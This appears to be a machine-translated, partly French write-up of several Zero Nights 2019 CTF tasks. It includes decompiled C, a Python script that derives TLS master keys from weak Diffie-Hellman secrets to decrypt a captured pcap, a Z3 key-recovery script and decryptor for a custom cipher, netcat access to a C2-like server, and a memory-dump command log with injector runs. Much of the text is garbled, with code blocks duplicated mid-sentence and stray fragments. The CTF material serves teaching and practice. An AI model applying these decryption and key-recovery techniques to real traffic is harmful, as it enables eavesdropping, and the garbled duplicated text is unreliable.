__fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } / 1.1 \ n", argv); signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } 

    Il n'y avait aucune image avec le drapeau sur le serveur, mais dump.pcap s'est avéré avoir un tas de trafic SSL, probablement avec des morceaux de l'image. Après une vérification rapide du serveur pour détecter les fuites (pour voler une clé privée pour décrypter le trafic), il a été découvert que le serveur n'est pas vulnérable. De plus, dans les sessions SSL, selon le vidage du trafic et le client, le chiffrement DHE-RSA-AES128-SHA256 est utilisé, dans lequel RSA est utilisé uniquement pour la signature, et les clés sont échangées selon le schéma Diffie-Hellman (une clé de serveur RSA privée dans ce mode ne nous aidera pas )


  2. Ayant un petit podirbastiv, le serveur a trouvé le fichier https://ssltest.a1exdandy.me/x , qui est un simple malware, l'adresse d'administration cousue est 0x82C780B2697A0002 (0x82C780B2: 0x7a69 = 178.128.199.130 opin1337). Lorsqu'il est connecté au port 31337, il a été découvert que le serveur prend en charge 3 commandes, dont certaines demandent des arguments supplémentaires


     nc 178.128.199.130 31337 Yet another fucking heap task... Command: 1-3 1 - Index: - Size: 2 - Index: 3 - Index: - Length: 

    Mais rien ne pouvait être fait avec ce port, et c'était probablement une tâche distrayante.


  3. Après avoir regardé attentivement le client, j'ai vu qu'il utilise un générateur de secrets Diffie-Hellman personnalisé:


     int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); } a1, (unsigned int) BITS_ind [ int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); } i]; int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); } 

    Initialement, le secret (512 octets) est lu dans / dev / urandom et enregistré dans le fichier d'état. À chaque demande ultérieure, la magie suivante se produit avec un secret:


     XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1 CMP = 2**4096 state *= 2 if state > CMP: state ^= XOR l' XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1 CMP = 2**4096 state *= 2 if state > CMP: state ^= XOR 

    Le secret sous forme de nombre long est décalé de 1 bit vers la gauche, et si le bit le plus significatif était 1, le nombre est alors à une constante de 5 bits non nuls (XOR).



En regardant pcap, j'ai vu que les paramètres Diffie-Hellman arrivant du serveur sont constants:


 dh_g = 2 dh_p = 

Et chaque fois qu'une connexion est établie, le client envoie sa partie publique du secret Diffie-Hellman. En comparant les parties publiques des secrets des sessions voisines, vous pouvez restaurer le secret initial du client, puis tous les secrets suivants pour chaque session:
Si le bit le plus élevé du secret est 0, alors dans la prochaine session, le secret sera simplement 2 fois plus grand, et la partie publique sera au carré modulo p. Ainsi, il était possible de restaurer le secret initial (qui lisent / dev / urandom) modulo p:


212030266574081313400816495535550771039880390539286135828101869037345869420205997453325815053364595553160004790759435995827592517178474188665111332189420650868610567156950459495593726196692754969821860322110444674367830706684288723400924718718744572072716445007789955072532338996543460287499773137785071615174311774659549109541904654568673143709587184128220277471318155757799759470829597214195494764332668485009525031739326801550115807698375007112649770412032760122054527000645191827995252649714951346955180619834783531787411998600610075175494746953236628125613177997145650859163985984159468674854699901927080143977813208682753148280937687469933353788992176066206254339449062166596095349440088429291135673308334245804375230115095159172312975679432750163246936266603077314220813042048063033927345613565227184333091534551071824033535159483541175958867122974738255966511008607723675431569961127852005437047813822454112416864211120323016008267853722731311026233323235121922969702016337164336853826598082855592007126727352041124911221048498141841625765390204460725231581416991152769176243658310857769293168120450725070030636638954553866903537931113666283836250525318798622872347839391197939468295124060629961250708172499966110406527347

et à partir de là, il est facile de calculer les secrets de toutes les autres sessions.


Et là, il y avait des problèmes:
A) Wireshark n'est pas en mesure de décrypter SSL, connaissant les secrets de Diffie-Hellman, et il n'y avait pas de solutions toutes faites. Nous devons découvrir le secret général de Diffie-Hellman (alias sessions de pré-clé principale) et l'utiliser pour trouver une session de clé principale à l'aide d'un grand vélo (je ne pensais pas qu'il y ait des vélos en SSL). Ensuite, vous pouvez créer un fichier SSLKEYLOG dans lequel écrire le client au hasard (dans chaque session ssl) et la clé principale, le spécifier dans les paramètres WireShark pour le déchiffrement SSL et théoriquement profiter.


Mais il y avait encore quelques problèmes:
B) PHP jugé trop lent (les fonctions bcadd , bcpowmod ... ne sont pas utilisées), a décidé de le réécrire en python.
C) La formule de calcul de la clé principale par la clé pré-maîtresse sous forme humaine n'a pas pu être trouvée, ssl est très difficile à comprendre, je n'ai pas pu obtenir openssl pour sortir les résultats des calculs intermédiaires non plus. En conséquence, j'ai utilisé ce code , cette description et une sorte de RFC:


En conséquence, après une demi-journée, j'ai pu superposer cela (pour moi, cela ne pouvait pas se passer de vélos):


 for i in xrange(0, 4264): dh_secret = pow(srv_pubkeys[i], state, dh_p) dh_secret = hex(dh_secret)[2:-1] if len(dh_secret) % 2 : dh_secret = "0"+dh_secret while dh_secret[0:2] == "00": dh_secret = dh_secret[2:] dh_secret = dh_secret.decode("hex") seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex") A = seed master_key = "" for j in xrange(0, 2): A = hmac.new(dh_secret, A, hashlib.sha256).digest() master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest() master_key = master_key[0:48].encode("hex") print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key state *= 2 if state > CMP: state ^= XOR 

D) Pour arracher divers clients au hasard, ... à partir des sessions Wireshark, l'exportation vers csv a été utilisée et rechercher dans le trafic brut ce qui est entré dans csv en tant que "...".


E) Pour décrypter 4264 sessions, WireShark a décidé de manger beaucoup de gigaoctets d'opérateur (8 n'était pas suffisant pour lui), mais rien, vous pouvez tout exécuter sur un ordinateur puissant, et non sur un ordinateur portable faible. Cependant, lors de l'exportation d'objets http (morceaux décryptés d'une image), WireShark ne peut enregistrer que les 1 000 premiers fichiers, puis sa numérotation se termine. En conséquence, j'ai dû diviser pcap en 5 parties de 1000 sessions TCP dans chacune. Le résultat était une si belle image après avoir collé toutes les pièces:



Tous les fichiers utilisés par le gagnant pour résoudre la tâche peuvent être trouvés ici .


Jour 5. SHELL PROTÉGÉ


Les gagnants
1ère place2ème place3e place
vosBartimaeousCLO
Aussi nous avons décidé: Maxim Pronin, 0x3c3e, tinkerlock, demidov_al, x @ Secator, groke_in_the_sky, d3fl4t3

Tâche préparée par RuCTFE . Les participants ont reçu un fichier exécutable obscurci avec un certain nombre de techniques anti-débogage. Le fichier exécutable est comme un client SSH connecté à un serveur précédemment connu. La tâche consiste à comprendre l'algorithme de ce fichier pour obtenir l'exécution des commandes sur le serveur. La solution de l’auteur consistait à contourner l’anti-débogage et à analyser l’obscurcissement.


Il est à noter que le participant le plus rapide a résolu la tâche d'une manière originale différente de celle prévue par l'auteur, puis il a trouvé une autre solution. Vous pouvez voir comment il l'a fait sous le spoiler ci-dessous.


Options de solution de tâche du cinquième jour (vos)


Jour 6. UNLOCK


Les gagnants
1ère place2ème place3e place
gotdaswagmedidrdridersysenter

La mission du sixième jour a été préparée par l'équipe VolgaCTF . Étant donné un fichier exécutable qui implémente un algorithme cryptographique personnalisé. La tâche consiste à déchiffrer le fichier donné dans la condition, chiffré à l'aide de cet algorithme, sans avoir de clé connue.


Solution de tâche du sixième jour (gotdaswag)

INTRO


Étant donné une archive avec deux fichiers, locker et secret.png.enc .


Le premier fichier est un ELF pour Linux x86-64, qui reçoit un fichier et une clé de cryptage en entrée, et le second est une image PNG cryptée.


 # ./locker Required option 'input' missing Usage: ./locker [options] Options: -i, --input in.png Input file path -o, --output out.png.enc Output file path -k, --key 0004081516234200 Encryption key in hex -h, --help Print this help menu 

LOCKER


Après avoir analysé le fichier dans l'IDA, nous trouvons l'algorithme de chiffrement dans la fonction project :: main .



Après l'avoir étudié, nous comprenons qu'il s'agit d'un chiffrement par blocs (ECB), avec une taille de bloc de 32 bits , une taille de clé de 64 bits et un nombre de tours de 77 .


Version Python

 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = (p >> 4) & 1 n |= (p >> 26) & 0xE0 n |= (p >> 22) & 0x10 n |= (p >> 13) & 8 n |= (p >> 7) & 4 n |= (p >> 4) & 2 x = p ^ k x ^= p >> 12 x ^= p >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: p &= 0xFFFFFFFE else: p |= 1 k = ror(k, 1, 64) p = ror(p, 1, 32) return p la def encrypt(p, k, rounds=77): for i in range(0, rounds): n = (p >> 4) & 1 n |= (p >> 26) & 0xE0 n |= (p >> 22) & 0x10 n |= (p >> 13) & 8 n |= (p >> 7) & 4 n |= (p >> 4) & 2 x = p ^ k x ^= p >> 12 x ^= p >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: p &= 0xFFFFFFFE else: p |= 1 k = ror(k, 1, 64) p = ror(p, 1, 32) return p 

CLÉ SECRET


Nous savons que le fichier crypté est une image PNG .
En conséquence, nous connaissons quelques textes chiffrés en clair sous la forme d'un en-tête de fichier (il est standard pour PNG).


Essayons la manière simple et utilisons le solveur SMT ( Z3 ) pour trouver la clé de cryptage.
Pour ce faire, nous modifions un peu le code et fournira une contribution à une paire de-cryptogramme texte brut.


task6_key.py

 import sys import struct from z3 import * # PNG file signature (8 bytes) + IHDR chunk header (8 bytes) PLAIN_TEXT = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52' BLOCK_SIZE = 4 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = LShR(p, 4) & 1 n |= LShR(p, 26) & 0xE0 n |= LShR(p, 22) & 0x10 n |= LShR(p, 13) & 8 n |= LShR(p, 7) & 4 n |= LShR(p, 4) & 2 x = k ^ ZeroExt(32, p) x ^= LShR(ZeroExt(32, p), 12) x ^= LShR(ZeroExt(32, p), 20) x &= 1 y = 1 << ZeroExt(32, n) y &= 0xBB880F0FC30F0000 y = LShR(y, ZeroExt(32, n)) y &= 1 p = If(x == y, p & 0xFFFFFFFE, p | 1) p = RotateRight(p, 1) k = RotateRight(k, 1) return p def qword_le_to_be(v): pv = struct.pack('<Q', v) uv = struct.unpack('>Q', pv) return uv[0] if len(sys.argv) < 2: sys.exit('no input file specified') with open(sys.argv[1], 'rb') as encrypted_file: k = BitVec('k', 64) key = k solver = Solver() for i in range(0, len(PLAIN_TEXT), BLOCK_SIZE): # prepare plain text and cipher text pairs pt = struct.unpack('<L', PLAIN_TEXT[i:i + BLOCK_SIZE])[0] ct = struct.unpack('<L', encrypted_file.read(BLOCK_SIZE))[0] p = BitVecVal(pt, 32) e = BitVecVal(ct, 32) solver.add(encrypt(p, k) == e) print('solving ...') if solver.check() == sat: encryption_key = solver.model()[key].as_long() print('key: %016X' % qword_le_to_be(encryption_key)) 

Solution:


 > python task6_key.py "secret.png.enc" solving ... key: AE34C511A8238BCC 

UNLOCKER


.
.


task6_unlocker.py

 import sys import time import struct import binascii BLOCK_SIZE = 4 ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) def decrypt(e, k, rounds=77): dk = ror(k, 13, 64) for i in range(0, rounds): dk = rol(dk, 1, 64) e = rol(e, 1, 32) n = (e >> 4) & 1 n |= (e >> 26) & 0xE0 n |= (e >> 22) & 0x10 n |= (e >> 13) & 8 n |= (e >> 7) & 4 n |= (e >> 4) & 2 x = e ^ dk x ^= e >> 12 x ^= e >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: e &= 0xFFFFFFFE else: e |= 1 return e if len(sys.argv) < 2: sys.exit('no input file specified') elif len(sys.argv) < 3: sys.exit('no output file specified') elif len(sys.argv) < 4: sys.exit('no encryption key specified') try: key = binascii.unhexlify(sys.argv[3]) key = struct.unpack('<Q', key)[0] except: sys.exit('non-hexadecimal encryption key') print('unlocking ...') start_time = time.time() with open(sys.argv[1], 'rb') as ef: with open(sys.argv[2], 'wb') as df: while True: ct = ef.read(BLOCK_SIZE) if not ct: break ct = struct.unpack('<L', ct)[0] pt = decrypt(ct, key) pt = struct.pack('<L', pt) df.write(pt) print('done, took %.3f seconds.' % (time.time() - start_time)) 

, .


 > python task6_unlocker.py "secret.png.enc" "secret.png" "AE34C511A8238BCC" unlocking ... done, took 49.669 seconds. 

secret.png


ZN{RA$T0GR@PHY_H3RTS}

Day 7. Beep Beep!


1
sysenter

SchoolCTF . , , . , , .


(sysenter)

Something that looks like VirtualBox RAM dump is provided to us.


We can try volatility, but it seems that it unable to locate required structures to restore Virtual Memory layout.



No process memory for us today, so we will have to work with fragmented memory.


First of all let's precache strings from the dump.


 strings > strings_ascii.txt strings -el > strings_wide.txt 

Most interesting one is command execution log:


 cd .. .\injector.exe 192.168.1.65 .\run.exe .\storage cd .\server\ .\run.exe block1 .\run.exe block0 cd Z:\zn_2019\ cd .\server\ cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd .. touch echo echo qwe echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ injector.exe 1921.68.1.65 injector.exe 192.68.1.65 ./injector.exe 192.68.1.65 .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\server\ run storage .\run.exe .\storage cd Z:\zn_2019\server\ .\run.exe block1 cd Z:\zn_2019\server\ .\run.exe block0 cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 .\injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 '.\ConsoleApplication5 (2).exe' 192.168.1.65 

Not Important note:


Not sure what SIGN.MEDIA is, but it looks like a cached file list from VirtualBox Network Share (Is this from Windows Registry?).


 SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=138A400 zn_2019\Injector2.exe SIGN.MEDIA=138A400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\With_little_debug.exe SIGN.MEDIA=138A400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=138A400 zn_2019\injector.exe SIGN.MEDIA=138A400 zn_2019\nnnn.exe SIGN.MEDIA=138A400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=138A400 zn_2019\note.exe SIGN.MEDIA=138A400 zn_2019\note2.exe SIGN.MEDIA=138A400 zn_2019\note3.exe SIGN.MEDIA=138A400 zn_2019\note4.exe SIGN.MEDIA=138A400 zn_2019\random.exe SIGN.MEDIA=138A400 zn_2019\z.exe SIGN.MEDIA=17582C zn_2019\Injector2.exe SIGN.MEDIA=17582C zn_2019\injector.exe SIGN.MEDIA=196C2 zn_2019\server\run.exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C176B0 zn_2019\Injector2.exe SIGN.MEDIA=1C176B0 zn_2019\injector.exe SIGN.MEDIA=1C176B0 zn_2019\note.exe SIGN.MEDIA=1C176B0 zn_2019\note2.exe SIGN.MEDIA=1C176B0 zn_2019\note3.exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1D02C zn_2019\Injector2.exe SIGN.MEDIA=1C1D02C zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C1D02C zn_2019\With_little_debug.exe SIGN.MEDIA=1C1D02C zn_2019\injector.exe SIGN.MEDIA=1C1D02C zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C1D02C zn_2019\note.exe SIGN.MEDIA=1C1D02C zn_2019\note2.exe SIGN.MEDIA=1C1D02C zn_2019\note3.exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1DAB0 zn_2019\Injector2.exe SIGN.MEDIA=1C1DAB0 zn_2019\With_little_debug.exe SIGN.MEDIA=1C1DAB0 zn_2019\injector.exe SIGN.MEDIA=1C1DAB0 zn_2019\note.exe SIGN.MEDIA=1C1DAB0 zn_2019\note2.exe SIGN.MEDIA=1C1DAB0 zn_2019\note3.exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C30058 zn_2019\Injector2.exe SIGN.MEDIA=1C30058 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C30058 zn_2019\With_little_debug.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C30058 zn_2019\note.exe SIGN.MEDIA=1C30058 zn_2019\note2.exe SIGN.MEDIA=1C30058 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C89400 zn_2019\Injector2.exe SIGN.MEDIA=1C89400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C89400 zn_2019\NOTE1.exe SIGN.MEDIA=1C89400 zn_2019\With_little_debug.exe SIGN.MEDIA=1C89400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C89400 zn_2019\injector.exe SIGN.MEDIA=1C89400 zn_2019\nnnn.exe SIGN.MEDIA=1C89400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note2.exe SIGN.MEDIA=1C89400 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\note4.exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C8A800 zn_2019\Injector2.exe SIGN.MEDIA=1C8A800 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C8A800 zn_2019\NOTE1.exe SIGN.MEDIA=1C8A800 zn_2019\With_little_debug.exe SIGN.MEDIA=1C8A800 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C8A800 zn_2019\injector.exe SIGN.MEDIA=1C8A800 zn_2019\nnnn.exe SIGN.MEDIA=1C8A800 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C8A800 zn_2019\note.exe SIGN.MEDIA=1C8A800 zn_2019\note2.exe SIGN.MEDIA=1C8A800 zn_2019\note3.exe SIGN.MEDIA=1C8A800 zn_2019\note4.exe SIGN.MEDIA=2D702C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=3EDC2 zn_2019\server\a.exe SIGN.MEDIA=3EDC2 zn_2019\server\hui.exe SIGN.MEDIA=3EDC2 zn_2019\server\run.exe SIGN.MEDIA=4482C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=4482C zn_2019\PEview.exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=5B0058 zn_2019\Injector2.exe SIGN.MEDIA=5B0058 zn_2019\injector.exe SIGN.MEDIA=5B0058 zn_2019\note.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Discord.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Far.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\FileZillaFTPclient.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\InputDirector.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\KeePass.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\PicPick.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Skype.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\UpdateManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\VBoxManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\idaq.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\javaw.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\lunix.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\paint.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\python3.7.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\r.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\svghost.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\tsm.exe 